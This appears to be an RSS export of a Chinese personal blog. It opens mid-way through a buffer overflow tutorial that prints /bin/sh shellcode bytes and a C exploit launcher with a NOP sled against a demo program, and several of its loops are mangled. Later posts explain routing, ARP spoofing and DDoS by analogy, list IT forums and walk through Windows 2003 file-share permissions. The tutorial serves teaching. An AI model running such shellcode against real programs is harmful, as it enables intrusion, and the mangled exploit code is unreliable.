　　0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx &lsquo;设置NAME[0]参数，4字节对齐<br>
　　0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx，设置NAME[1]参数，4字节对齐<br>
　　0x804ce98 &lt;__execve+28&gt;: push %ebx <br>
　　0x804ce99 &lt;__execve+29&gt;: mov %edi,%ebx<br>
　　0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax &lsquo;设置XB号调用<br>
　　0x804cea0 &lt;__execve+36&gt;: int $0x80 &lsquo;调用执行<br>
　　0x804cea2 &lt;__execve+38&gt;: pop %ebx <br>
　　0x804cea3 &lt;__execve+39&gt;: mov %eax,%ebx<br>
　　0x804cea5 &lt;__execve+41&gt;: cmp $0xfffff000,%ebx<br>
　　0x804ceab &lt;__execve+47&gt;: jbe 0x804cebb &lt;__execve+63&gt;<br>
　　0x804cead &lt;__execve+49&gt;: call 0x8048324 &lt;__errno_location&gt;<br>
　　0x804ceb2 &lt;__execve+54&gt;: neg %ebx<br>
　　0x804ceb4 &lt;__execve+56&gt;: mov %ebx,(%eax)<br>
　　0x804ceb6 &lt;__execve+58&gt;: mov $0xffffffff,%ebx<br>
　　0x804cebb &lt;__execve+63&gt;: mov %ebx,%eax<br>
　　0x804cebd &lt;__execve+65&gt;: lea 0xfffffff8(%ebp),%esp<br>
　　0x804cec0 &lt;__execve+68&gt;: pop %ebx<br>
　　0x804cec1 &lt;__execve+69&gt;: pop %edi<br>
　　0x804cec2 &lt;__execve+70&gt;: leave<br>
　　0x804cec3 &lt;__execve+71&gt;: ret<br>
　　<br>
　　精练的调用方法是<br>
　　0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx &lsquo;设置NAME[0]参数，4字节对齐<br>
　　0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx，设置NAME[1]参数，4字节对齐<br>
　　0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax &lsquo;设置XB号调用<br>
　　0x804cea0 &lt;__execve+36&gt;: int $0x80 &lsquo;调用执行<br>
　　<br>
　　另外要执行一个exit（）系统调用，结束shellcode的执行。 <br>
　　0x804ce60 &lt;_exit&gt;: mov %ebx,%edx<br>
　　0x804ce62 &lt;_exit+2&gt;: mov 0x4(%esp,1),%ebx 设置参数0<br>
　　0x804ce66 &lt;_exit+6&gt;: mov $0x1,%eax &lsquo;1号调用<br>
　　0x804ce6b &lt;_exit+11&gt;: int $0x80<br>
　　0x804ce6d &lt;_exit+13&gt;: mov %edx,%ebx<br>
　　0x804ce6f &lt;_exit+15&gt;: cmp $0xfffff001,%eax<br>
　　0x804ce74 &lt;_exit+20&gt;: jae 0x804d260 &lt;__syscall_error&gt;<br>
　　<br>
　　那么总结一下，合成的汇编代码为： <br>
　　mov 0xc(%ebp),%ecx <br>
　　mov 0x10(%ebp),%edx <br>
　　mov $0xb,%eax <br>
　　int $0x80 <br>
　　mov 0x4(%esp,1),%ebx<br>
　　mov $0x1,%eax<br>
　　int $0x80<br>
　　<br>
　　但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用，如何来分配和定位字符串&ldquo;/bin/sh&rdquo;,还得有一个name数组。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次程序都是动态加载，字符串和name数组的地址都不是固定的。 <br>
　　利用call压入下一条语句的返回地址，把数据作为下一条指令我们就可以达到目的。 <br>
　　Jmp CALL <br>
　　Popl %esi &lsquo;利用CALL弹出压入的下一条语句的地址，其实就是我们构造的字符串的地址<br>
　　movb $0x0,0x7(%esi) &lsquo;输入0的字符串为结尾<br>
　　mov %esi,0X8 (%esi) &lsquo;构造NAME数组，放如字串的地址作为NAME[0]<br>
　　mov $0x0,0xc(%esi) &lsquo;构造NAME[1]为NULL， NAME[0]为4位地址，所以偏移为0xc<br>
　　mov %esi,%ebx &lsquo;设置数据段开始的地址<br>
　　leal 0x8(%esi),%ecx &lsquo;设置参数1<br>
　　leal 0xc(%esi),%edx &lsquo;设置参数2<br>
　　mov $0xb,%eax &lsquo;设置调用号<br>
　　int $0x80 &lsquo;调用<br>
　　mov $0x0,%ebx<br>
　　mov $0x1,%eax<br>
　　int $0x80<br>
　　Call popl<br>
　　.string \&quot;/bin/sh\&quot; <br>
　　<br>
　　然后通过C编译器编写MYSHELLASM.C<br>
　　运行出错，原因代码段不允许进行修改，但是对于我们溢出是可以的，原因在于溢出是在数据段运行的，通过GDB查看16进制码，倒出ASCII字符写出TEST.C程序来验证MYSHELLASM可以运行<br>
　　ret = (int *)&amp;ret + 2; //ret 等于main（）执行完后的返回系统的地址 <br>
　　//(＋2是因为：有pushl ebp ,否则加1就可以了。) <br>
　　<br>
　　但是在堆栈溢出中，关键在于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，以&quot;\0&quot; 为字符串结尾。遇\0就结束了写操作。Myshell中有0X00的字符存在。 <br>
　　把所有赋予0的操作用异或或者MOV已知为0的寄存器赋值来完成<br>
　　jmp 0x1f <br>
　　popl %esi <br>
　　movl %esi,0x8(%esi) <br>
　　xorl %eax,%eax <br>
　　movb %eax,0x7(%esi) <br>
　　movl %eax,0xc(%esi) <br>
　　movb $0xb,%al <br>
　　movl %esi,%ebx <br>
　　leal 0x8(%esi),%ecx <br>
　　leal 0xc(%esi),%edx <br>
　　int $0x80 <br>
　　xorl %ebx,%ebx <br>
　　movl %ebx,%eax <br>
　　inc %eax <br>
　　int $0x80 <br>
　　call -0x24 <br>
　　.string \&quot;/bin/sh\&quot; <br>
　　<br>
　　汇编得出的<br>
　　shellcode = <br>
　　&quot;\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46&quot;<br>
　　&quot;\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&quot;<br>
　　&quot;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;<br>
　　<br>
　　<br>
　　我们开始来写一个攻击DEMO溢出的例子<br>
　　1:把我们的shellcode提供给他，让他可以访问shellcode。 <br>
　　2:修改他的返回地址为shellcode的入口地址。 <br>
　　<br>
　　对于strcpy函数，我们要知道被溢出的缓冲的的地址。对于操作系统来说，一个shell下的每一个程序的堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址，来知道了目标程序堆栈的开始地址。<br>
　　（所有C函数的返回值都放在eax 寄存器 里面）: <br>
　　unsigned long get_sp(void) { <br>
　　__asm__(&quot;movl %esp,%eax&quot;); <br>
　　}<br>
　　buffer相对于堆栈开始地址的偏移，对于DEMO我们可以计算出来，但对于真正有溢出毛病的程序我们在没有源代码和去跟踪汇编是无法计算出的，只能靠猜测了。不过，一般的程序堆栈大约是 几K 左右。为了提高命中率，增加溢出的SHELLCODE的长度和NOP指令，NOP指令的机器码为0x90。 同时在我们的程序中允许输入参数来调节溢出点。<br>
　　#include <br>
　　#include <br>
　　#define OFFSET 0 <br>
　　#define RET_POSITION 120 <br>
　　#define RANGE 20 <br>
　　#define NOP 0x90 <br>
　　<br>
　　char shellcode[]=<br>
　　&quot;\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46&quot;<br>
　　&quot;\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&quot;<br>
　　&quot;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;<br>
　　<br>
　　unsigned long get_sp(void) <br>
　　{ <br>
　　__asm__(&quot;movl %esp,%eax&quot;); <br>
　　} <br>
　　<br>
　　main(int argc,char **argv) <br>
　　{ <br>
　　char buff[RET_POSITION+RANGE+1],*ptr; <br>
　　long addr; <br>
　　unsigned long sp; <br>
　　int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; <br>
　　int i; <br>
　　<br>
　　if(argc&gt;1) <br>
　　offset=atoi(argv[1]); <br>
　　<br>
　　sp=get_sp(); <br>
　　addr=sp-offset; <br>
　　<br>
　　for(i=0;i *((long *)&amp;(buff))=addr; <br>
　　<br>
　　for(i=0;i buff=NOP; <br>
　　<br>
　　ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; <br>
　　for(i=0;i *(ptr++)=shellcode; <br>
　　buff[bsize-1]=&quot;\0&quot; <br>
　　for(i=0;i&lt;132;i++)<br>
　　printf(&quot;0x%08x\n&quot;,buff); <br>
　　printf(&quot;Jump to 0x%08x\n&quot;,addr); <br>
　　<br>
　　execl(&quot;./demo&quot;,&quot;demo&quot;,buff,0); <br>
　　}<br>
　　注意，如果发现溢出允许的空间不足够SHELLCODE的代码，那么可以把地址放到前面去，SHELLCODE放在地址的后面，程序进行一些改动，原理一致</p> <a href="http://hi.baidu.com/csuwqz/blog/item/92b31c4e06655003b2de054b.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/%B5%A5%C6%AC%BB%FA%2C%D3%EF%D1%D4">单片机,语言</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/92b31c4e06655003b2de054b.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-30  10:43</pubDate>
        <category><![CDATA[单片机,语言]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/92b31c4e06655003b2de054b.html</guid>
</item>

<item>
        <title><![CDATA[什么叫网关的精解(超经典)DNS,以及DHCP协议的解释]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/aa3aad114c0969c0a6ef3fb0.html]]></link>
        <description><![CDATA[
		
		<font size="1">计算机主机网关的作用是什么？<br>
假设你的名字叫小不点，你住在一个大院子里，你的邻居有很多小伙伴，在门口传达室还有个看大门的李大爷，李大爷就是你的网关。当你想跟院子里的某个小伙伴玩，只要你在院子里大喊一声他的名字，他听到了就会回应你，并且跑出来跟你玩。<br>
但是你不被允许走出大门，你想与外界发生的一切联系，都必须由门口的李大爷（网关）用电话帮助你联系。假如你想找你的同学小明聊天，小明家住在很远的另外一个院子里，他家的院子里也有一个看门的王大爷（小明的网关）。但是你不知道小明家的电话号码，不过你的班主任老师有一份你们班全体同学的名单和电话号码对照表，你的老师就是你的DNS服务器。于是你在家里拨通了门口李大爷的电话，有了下面的对话：<br>
<br>
小不点：李大爷，我想找班主任查一下小明的电话号码行吗？<br>
<br>
李大爷：好，你等着。（接着李大爷给你的班主任挂了一个电话，问清楚<br>
了小明的电话）问到了，他家的号码是211.99.99.99<br>
<br>
小不点：太好了！李大爷，我想找小明，你再帮我联系一下小明吧。<br>
<br>
李大爷：没问题。（接着李大爷向电话局发出了请求接通小明家电话的请<br>
求，最后一关当然是被转接到了小明家那个院子的王大爷那里，然后王大<br>
爷把电话给转到小明家）<br>
<br>
就这样你和小明取得了联系。<br>
<br>
至于DHCP服务器嘛，可以这样比喻：<br>
<br>
你家院子里的居民越来越多了，传达室李大爷那里的电话交换机已经不能满足这么多居民的需求了，所以只好采用了一种新技术叫做DHCP，居民们开机的时候随机得到一个电话号码，每一次得到的号码都可能会不同。<br>
<br>
你家门口的李大爷：就是你的网关<br>
你的班主任：就是你的DNS服务器<br>
传达室的电话交换机：就是你的DHCP服务器<br>
<br>
同上，李大爷和王大爷之间的对话就叫做路由。<br>
<br>
另：如果还有个小朋友叫做小暗，他住的院子看门的是孙大爷，因为小暗的院子刚盖好，孙大爷刚来不久，他没有李大爷和王大爷办公室的电话（李大爷和王大爷当然也没有他的电话），这时会有两种情况：<br>
1、居委会的赵大妈告诉了孙大爷关于李、王两位大爷的电话（同时赵大妈也告诉了李、王关于孙的电话），这就叫静态设定路由<br>
2、赵大妈病了，孙大爷自己到处打电话，见人就说：&ldquo;我是小暗他们院子管电话的&rdquo;，结果被李、王二位听到了，就记在了他们的通讯录上，然后李、王就给孙大爷回了个电话说：&ldquo;我是小明（小不点）他们院子管电话的&rdquo;，这就叫动态设定路由<br>
<br>
然后有一天小不点要找小暗，结果自然是小不点给李大爷打电话说：&ldquo;大爷，我找小暗&rdquo;（这里省略了李大爷去查小暗电话的过程，假设他知道小暗的电话），李大爷一找通讯录：&ldquo;哦，小暗的院子的电话是孙大爷管着的，要找小暗自然先要通知孙大爷，我可以通知王大爷让他去找孙大爷，也可以自己直接找孙，那当然是自己直接找孙方便了&rdquo;，于是李大爷给孙大爷打了电话，然后孙大爷又把电话转到了小暗家。<br>
<br>
这里李大爷的通讯录叫做路由表。<br>
李大爷选择是自己直接找孙大爷还是让王大爷帮忙转接叫做路由选择。<br>
<br>
李大爷之所以选择直接找孙大爷是有依据的，因为他直接找孙大爷就能一步到位，如果要王大爷转接就需要两步才能完成，这里的&ldquo;步&rdquo;叫做&ldquo;跳数&rdquo;，李大爷的选择遵循的是最少步骤（跳数）原则（如果他不遵守这个原则，小不点可能就会多等些时间才能找到小暗，最终结果可能导致李大爷因工作不力被炒鱿鱼，这叫做&ldquo;延时太长，选路原则不合理，换了一个路由器&rdquo;）<br>
<br>
当然，事情总是变化的，小不点和小明吵架了，这些天小不点老是给小暗打电话，小明心里想：&ldquo;操，他是不是在说我坏话啊？&rdquo;于是小明决定偷听小不点和小暗的通话，但是他又不能出院子，怎么办呢？小明做了这样一个决定：<br>
<br>
首先他告诉自己院里管电话的王大爷说：&ldquo;你给李大爷打个电话说小暗搬到咱们院子了，以后凡是打给他的电话我来接&rdquo;，王大爷没反映过来（毕竟年纪大了啊！）就给李大爷打了电话，说：&ldquo;现在我来管理小暗的电话了，孙已经不管了&rdquo;，结果李大爷就把他的通讯录改了，这叫做路由欺骗。<br>
<br>
以后小不点再找小暗，李大爷就转给王大爷了（其实应该转给孙大爷的），王大爷收到了这个电话就转给了小明（因为他之前已经和小明说好了），小明收到这个电话就假装小暗和小不点通信。因为小明作贼心虚，害怕明天小不点和小暗见面后当面问他，于是通信断了之后，又自己以小不点的名义给小暗通了个电话复述了一遍刚才的话，有这就叫数据窃听<br>
<br>
再后来，小不点还是不断的和小暗联系，而零落了小明，小明心里嘀咕啊：&ldquo;我不能总是这样以小暗的身份和小不点通话啊，外一有一天露馅了怎么办！&rdquo;于是他想了一个更阴险的招数：&ldquo;干脆我也不偷听你们的电话了，你小不点不是不给我打电话吗！那我让你也给小暗打不了，哼哼！&rdquo;，他怎么做的呢？我们来看：<br>
<br>
他联系了一批狐朋狗友，和他们串通好，每天固定一个时间大家一起给小暗院子传达室打电话，内容什么都有，只要传达室的孙爷爷接电话，就会听到&ldquo;打雷啦，下雨收衣服啊！&rdquo;、&ldquo;人是人他妈生的，妖是妖他妈生的&rdquo;、&ldquo;你妈贵姓&rdquo;等等，听的脑袋都大了，不听又不行，电话不停的响啊！终于有一天，孙爷爷忍不住了，大喊一声：&ldquo;我受不了拉！！！！&rdquo;，于是上吊自杀了！<br>
<br>
这就是最简单的DDOS攻击，孙爷爷心理承受能力弱的现象叫做&ldquo;数据报处理模块有BUG&rdquo;，孙爷爷的自杀叫做&ldquo;路由器瘫痪&rdquo;。如果是我，就会微笑着和他们拉家常，例如告诉他们&ldquo;我早就听了天气预报，衣服10分钟前已经收好了&rdquo;或者&ldquo;那你妈是人还是妖&rdquo;或者&ldquo;和你奶奶一个姓&rdquo;等等，我这种健全的心理叫做&ldquo;健壮的数据报处理，能够抵御任何攻击&rdquo;<br>
<br>
孙爷爷瘫了之后，小不点终于不再给小暗打电话了，因为无论他怎么打对方都是忙音，这种现象叫做&ldquo;拒绝服务&rdquo;，所以小明的做法还有一个名字叫做&ldquo;拒绝服务攻击&rdquo;。<br>
<br>
小明终于安静了几天，...<br>
<br>
几天后，小明的院子来了一个美丽的女孩，名字叫做小丽，小明很喜欢她（小小年纪玩什么早恋！）可是小丽有个很帅的男朋友，小明干瞪眼没办法。当然这里还是要遵循上面的原则：小丽是不能出院子的。那个男的想泡小丽自然只能打电话，于是小明又蠢蠢欲动了：<br>
还记得王爷爷是院子的电话总管吗？他之所以能管理电话是因为他有一个通讯录，因为同一个院子可能有2个孩子都叫小明，靠名字无法区分，所以通讯录上每一行只有两项：<br>
<br>
门牌   电话<br>
一号门   1234567 （这个是小明的）<br>
二号门   7654321 （这个是小丽的）<br>
......<br>
<br>
王爷爷记性不好，但这总不会错了吧（同一个院子不会有2个&ldquo;二号门&rdquo;吧）？每次打电话人家都要说出要找的电话号码，然后通过通讯录去院子里面敲门，比如人家说我找&ldquo;1234567&rdquo;，于是王爷爷一比较，哦，是一号门的，他就去敲一号门&ldquo;听电话&rdquo;，如果是找&ldquo;7654321&rdquo;，那他就找二号门&ldquo;听电话&rdquo;。<br>
<br>
这里的电话号码就是传说中的&ldquo;IP地址&rdquo;<br>
这里的门牌号就是传说中的网卡的&rsquo;MAC&lsquo;地址（每一块网卡的MAC地址都是不一样的，这是网卡的制造商写死在网卡的芯片中的）<br>
<br>
小明心里想&ldquo;奶奶的，老子泡不到你也别想泡&rdquo;，于是他打起了王爷爷通讯录的主意，经过细心的观察，周密的准备，他终于发现王爷爷有尿频的毛病（毕竟是老人啊...），终于在一个月黑风高的白天，王爷爷去上厕所了，小明偷偷的摸进传达室，小心翼翼的改了王爷爷的通讯录......<br>
<br>
过了几天，小丽的男朋友又给小丽打来了电话，对方报的电话是&ldquo;7654321&rdquo;，王爷爷一看通讯录，靠：<br>
<br>
门牌   电话<br>
一号门   1234567 （这个是小明的）<br>
一号门   7654321 （注意：这个原来是小丽的，但是被小明改了）<br>
......<br>
<br>
王爷爷不知道改了啊，于是就去找一号门的小明了，小明心里这个美啊，他以小丽父亲的口吻严厉的教训了那个男的和小丽之间不正当的男女关系，结果那个男的恭恭敬敬的挂了电话。当然小丽并不知道整个事情的发生...<br>
<br>
这里小明的行为叫做&ldquo;ARP欺骗&rdquo;（因为在实际的网络上是通过发送ARP数据包来实现的，所以叫做&ldquo;ARP欺骗&rdquo;），王爷爷的通讯录叫做&ldquo;ARP表&rdquo;<br>
<br>
这里要注意：王爷爷现在有两个通讯录了，一个是记录每个院子传达室电话的本本，叫做&ldquo;路由表&rdquo;，一个是现在说的记录院子里面详细信息的本本，叫做&ldquo;ARP表&rdquo;。<br>
<br>
有句命言是&ldquo;人们总是在追求完美的，尽管永远也做不到&rdquo;（请记住这句话，因为这是一个大名人--也就是我，说的）<br>
<br>
王爷爷的制度中有一条是这么写的&ldquo;每个月要重新检查一下门牌号和电话的对应本（也就是ARP表）&rdquo;，这个动作叫做&ldquo;刷新ARP表&rdquo;，每个月的时间限制叫做&ldquo;刷新ARP表的周期&rdquo;。这样小明为了让那个男的永远不能找到小丽，之后每个月都要偷偷改一次那个通讯录，不过这样也是不得不做的事啊！<br>
补充一点，小明是很聪明的，如果通讯录（ARP表）被改成了这样：<br>
<br>
门牌（MAC）   电话（IP）<br>
一号门  &nbsp;&nbsp;    1234567 （这个是小明的）<br>
二号门  &nbsp;&nbsp;    1234567 （注意：这个被小明改了，但是他一时头晕改错了）<br>
......<br>
<br>
就会是计算机就会弹出一个对话框提示&ldquo;出现重复的IP地址&rdquo;，最终会导致王爷爷不知所措，于是通知一号门和二号门，你们的电话重复了。这样小丽就知道有人在破坏她的好事，这个现象叫做&ldquo;骗局被揭穿了&rdquo;<br>
<br>
小不点知道了小明偷听他和小暗的电话，于是就和小暗约定好了密码。小不点在家里把要说的加密了之后告诉小暗。土豆－〉星期三，地瓜－〉请客，笨蛋－〉小不点家。于是小不点告诉小暗：土豆笨蛋地瓜。小明听了？？？不懂。。。。郁闷了。。。这是加密。<br>
除此之外，小丽也知道了小明改他家的电话号码了。于是王爷爷就登门一个一个把电话和门牌号记下来。并且藏起来不允许外人修改，只能自己有钥匙（密码）。这是ip地址和MAC地址绑定。当有人改了电话号码的时候，就得找王爷爷改。麻烦是麻烦了，但是安全了。不过小明偷偷的把王爷爷的钥匙偷配了一把（盗窃密码成功），于是他还可以修改。这样么，就这样了。</font> <a href="http://hi.baidu.com/csuwqz/blog/item/aa3aad114c0969c0a6ef3fb0.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/%CD%F8%C2%E7%BC%BC%CA%F5">网络技术</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/aa3aad114c0969c0a6ef3fb0.html#comment">查看评论</a>]]></description>
        <pubDate>2008-07-27  14:38</pubDate>
        <category><![CDATA[网络技术]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/aa3aad114c0969c0a6ef3fb0.html</guid>
</item>

<item>
        <title><![CDATA[IT从业人员必看的10个论坛]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/f8a209a9d3c0d0fa1f17a2b0.html]]></link>
        <description><![CDATA[
		
		<div class="t_msgfont" >IT方面的论坛太多了，有综合，有专业，有行业，在各个论坛里混了几年，体会颇深，以前是论坛哪里人多，往哪里去，新浪论坛，网易是经常去的，人多啊，好几十万，去了以后才发现没有意思，没有共同的语言，于是逛专业论坛，行业论坛，终于找到了共同语言，总结一下论坛的经验：人不在多，有仙则灵，贴不在多，有精则行，逛了大半辈子，一个IT人发展方向一定要除了技术外，业务，理论，思想一个都不能少，于是我推荐如下这些论坛，或许真能帮助您，做论坛，都是赔本的买卖，不收费还帮助你学习，得向斑竹们致敬啊。 <br>
　　 <br>
　　以下论坛排名不分先后，还有许多业界知名的论坛，主要有点偏门，这个不做概述，呵呵。 <br>
　　 <br>
　　IT技术开发综合类<br>
　　<a href="http://community.csdn.net/" target="_blank">http://community.csdn.net/</a> <br>
　　适合人群：只适合软件开发者 <br>
　　技术开发最全面的论坛，里面可以遇到很多牛人，版面也很全，什么J2EE，.NET啊，该有的全上，在这里基本上可以提出任何问题，人气也是最旺的，不过一般提出的意见都有正方两面的，所以最终解决问题，还是靠自己。 <br>
　　评价：专业，很牛逼，就是速度慢。 <br>
　　 <br>
　　<a href="http://www.52rd.com/bbs" target="_blank">http://www.52rd.com/bbs</a><br>
　　适合人群：研发人员 <br>
　　我爱研发网，顾名思义，是针对R&amp;D研发人员的，目前在射频，通信，手机研发是国内第一的，牛人不少，问题讨论的很彻底。论坛制度很人性化，设有资料交换区，有超大量有价值的资料。<br>
　　评价：强，速度还可以； <br>
　　 <br>
　　<a href="http://bbs.chinaunix.net/forum/" target="_blank">http://bbs.chinaunix.net/forum/</a> <br>
　　适合人员：系统工程师 <br>
　　这里的特色就是操作系统方面在业界是最著名的，牛人不少，目前，在数据库，网络方面也颇有建树，当然灌水方面也不赖，呵呵，属于温柔性 <br>
　　评价：强，速度还可以 <br>
　　 <br>
　　<a href="http://bbs.chinajavaworld.com/" target="_blank">http://bbs.chinajavaworld.com/</a> <br>
　　适合人员：JAVA开发 <br>
　　JAVA方面非常综合的论坛了，牛人也很多，是一个难得的JAVA论坛，涉及你想象的关于JAVA目前任何技术。 <br>
　　评论：强，速度还可以。<br>
　　电子工程师类<br>
　　<a href="http://21icbbs.com/" target="_blank">http://21icbbs.com/</a><br>
　　适合人员：电子工程师<br>
　　人气不错，覆盖面比较广，老牌了，就是有点和时代脱节了，无论是设计上还是内容上<br>
　　评论：强，速度还可以<br>
　　<a href="http://www.eetchina.com/DG/eec_dg_home.htm" target="_blank">http://www.eetchina.com/DG/eec_dg_home.htm</a><br>
　　适合人员：电子工程师<br>
　　环球资源的子站，页面设计很大气，技术文章也比较及时和权威，是个难得的好网<br>
　　评论：强，速度还可以<br>
　　 <br>
　　网络工程类 <br>
　　<a href="http://www.1000bbs.com/" target="_blank">www.1000bbs.com</a> <br>
　　适合人员：布线/网络工程师 <br>
　　人气很旺，特色是版面比较紧凑，综合布线这一块很权威，很窄很专，时间非常久了，颜色比较明快，就是太低端了， <br>
　　评价：不错，速度一般 <br>
　　 <br>
　　<a href="http://www.sharecenter.net/" target="_blank">http://www.sharecenter.net/</a> <br>
　　适合人员：网络工程师 <br>
　　之所以我喜欢是这个网站很多做CISCO工程都知道，也是别人介绍我去的，时间非常久了，颜色比较暗谈，属于忧郁型。 <br>
　　评价：不错，速度也还可以 <br>
　　 <br>
　　IT营销管理类 <br>
　　<a href="http://www.topren.net/forum/index.php" target="_blank">http://www.topren.net/forum/index.php</a><br>
　　适合人员：企业策划，CIO <br>
　　业界知名的知识站点&ldquo;唐人社区&rdquo;，信息化管理顾问可以去看看，人也很多，可惜，都是下载，实质性内容需要改观，我记得是非常专业的网站。 <br>
　　评价：不错，速度也还可以。 <br>
　　 <br>
　　IT管理综合类 <br>
　　<a href="http://club.amteam.org/" target="_blank">http://club.amteam.org/</a> <br>
　　适合人群：大多数， <br>
　　评论类比较多，基本上在其他媒体上看到的评论，这里都会有，要想了解IT发展的情况，就来这里看看。 <br>
　　评价：很好，休闲工作都可以看</div> <a href="http://hi.baidu.com/csuwqz/blog/item/f8a209a9d3c0d0fa1f17a2b0.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/it%BC%BC%CA%F5">it技术</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/f8a209a9d3c0d0fa1f17a2b0.html#comment">查看评论</a>]]></description>
        <pubDate>2008-07-27  14:37</pubDate>
        <category><![CDATA[it技术]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/f8a209a9d3c0d0fa1f17a2b0.html</guid>
</item>

<item>
        <title><![CDATA[用 win2003 架设共享服务器]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/0c4ec8269d1f01118b82a1b5.html]]></link>
        <description><![CDATA[
		
		<div class="t_msgfont" >
<p>我一个网友，在一家公司做网络管理员。年初，公司里来了一些新员工，因为工作需要，要经常存取一些服务器上的文件，但是考虑到安全等问题，要弄出一套详细的方案来。 其实主要功能就是以下这些： <br>
　　1、每个用户都能存取删除自己所拥有的文件。<br>
　　2、这些用户某些时候需要共同的存取一些文件，但不能让他们有删除的权限，只能由管理员来添加和删除。<br>
　　3、每个使用者都要有自己的帐户，并且对特定文件夹的访问需要形成日志保存下来供管理员查看。<br>
　　4、保证用户存放在服务器上的文件不携带病毒和其它有危害性的代码。 <br>
　　5、每个用户只能在服务器上存放一定大小的文件，而不是无限大的文件，并且当存放文件到特定警戒线的时候能通知管理员。<br>
　　6、对一些重要的私有文件，用户要能实现加密，保证这些信息不会被别人读取。<br>
<br>
　　通过分析，其实除了病毒监控的功能外，其它要求Windows 2003自带的服务都可以实现，让我们来看看具体是如何来实现的。这个例子具有一定的普遍性，不但实用经济，而且还保证了安全，基本实现了零管理，大大减轻了管理员的负担。这里只是做了一个例子，具体做的时候用户名和组名以及其它设定都是根据您的需要来设定。<br>
<br>
　　首先，我们打开开始菜单，依次选择&ldquo;程序&rdquo;－&ldquo;管理工具&rdquo;－&ldquo;计算机管理&rdquo;，打开&ldquo;本地用户和组&rdquo;（假设你没有建立域），然后点用户，在右栏里右键，新建立3个用户，分别为a，ｂ，ｃ３个用户，（假设新来的3个用户，分别为a，b，c），如图1<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/200412110411539.jpg" border="0"><br>
<br>
图 1<br>
<br>
　　点击组，在右框里点击新建组，建立一个叫&ldquo;wawa&rdquo;的组，如图2所示。然后点添加，把ａ用户，b用户，c用户都添加到wawa组里，如图3。 <br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104125448.jpg" border="0"><br>
<br>
图 2<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104142744.jpg" border="0"><br>
<br>
图 3<br>
<br>
　　接下来为这个组和组里成员分别建立各自的文件夹，先建立一个文件夹，名字叫abc，在属性的安全标签里添加新的安全设定，把这个文件夹设置为wawa组只读，如图4所示。然后在abc文件夹下新建3个文件夹，分别为ａ，ｂ，ｃ，并分别把每个文件夹的权限设置为指定用户完全访问，即a文件夹设置为a用户完全访问，b文件夹设置为b用户完全访问，c文件夹设置c用户完全访问，如果用户很多的话，依次类推，如图5所示。<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104157284.jpg" border="0"><br>
<br>
图 4<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104214351.jpg" border="0"><br>
<br>
图 5<br>
<br>
　　经过这样设置，权限的问题，我们就基本解决了，所有的用户都能访问读取abc文件夹下的文件，包括其子文件夹下的文件，并且自己可以添加删除自己文件夹下的文件，而其它用户只能读取了。</p>
<div class="t_msgfont" >
<p>打开文件共享管理器，如图6。依次点&ldquo;共享&rdquo;-&ldquo;新建共享&rdquo;，启用&ldquo;文件夹共享向导&rdquo;，选择abc文件夹并把它共享，如图7。点下一步，输入共享名和共享描述，如图8。在脱机设置里可以根据需要设置共享文件夹的脱机选项，具体概念请查阅相关文档，这里不多做解释了，一般默认就可以了。下一步后，在权限设置里，设置为&ldquo;管理员拥有完全访问权限，其它用户有只读访问权限&rdquo;。 <br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104439653.jpg" border="0"><br>
图 6<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104454986.jpg" border="0"><br>
<br>
图 7<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/200412110457834.jpg" border="0"><br>
<br>
图 8<br>
<br>
　　这里有个问题就是上次，我们设置过abc文件夹的权限，这次又在这里设定，这在Windows 2003里是允许的，但是它遵循3个原则：多个组赋予的许可是叠加的；文件许可优先于文件夹；拒绝访问许可优先。通过这个原则我们知道abc这个文件夹管理员可以完全访问，并且每个用户可以完全访问自己的文件夹，对其它用户的文件夹有只读权限，这正是我们所需要的结果。<br>
<br>
